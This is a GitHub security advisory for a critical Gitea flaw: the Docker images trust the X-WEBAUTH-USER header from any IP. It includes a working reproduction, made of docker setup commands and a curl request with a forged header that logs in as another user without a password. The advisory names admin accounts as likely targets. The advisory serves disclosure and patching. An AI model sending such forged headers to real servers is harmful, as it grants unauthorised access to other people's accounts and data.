GitHub Advisoryadvisory · Go

GHSA-f75j-4cw6-rmx4 Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`

CRITICAL Published 2026-07-21 Modified 2026-07-21 Official page ↗
Aliases
CVE-2026-20896
Ecosystem
Go
Packages
code.gitea.io/gitea
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-284
Reviewed
2026-07-21

Affected packages

• Go code.gitea.io/gitea: < 1.26.3 → fixed in 1.26.3

Description

Summary The Gitea Docker images ship an `app.ini` template that hard-codes: ``` REVERSE_PROXY_TRUSTED_PROXIES = * ``` The documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted. When an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from any source IP that can reach the container. Affected • `gitea/gitea` Docker images (verified `1.26.2`) • `docker/root/etc/templates/app.ini:55` • `docker/rootless/etc/templates/app.ini:52` Binary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected. Reproduction ``` docker run -d --name g -p 3000:3000 \ -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \ -e GITEA__security__INSTALL_LOCK=true \ gitea/gitea:1.26.2 sleep 15 docker exec --user git g gitea admin user create \ --username alice --password "longpasswordhere1234" \ --email [email protected] --must-change-password=false Now the attack:: curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \ | grep -oE '[^' ``` Output: `alice - Dashboard - Gitea: Git with a cup of tea` — attacker is logged in as alice with one header, no password, no cookie. Same payload with `X-WEBAUTH-USER: ` impersonates that user. Impact Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (`admin`, `gitea_admin`, etc.) are the obvious targets.

Related

Alias · CVE (1)

  • CVE-2026-20896 Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to… vulnerability

Weakness · CWE (1)

  • CWE-284 Improper Access Control weakness

References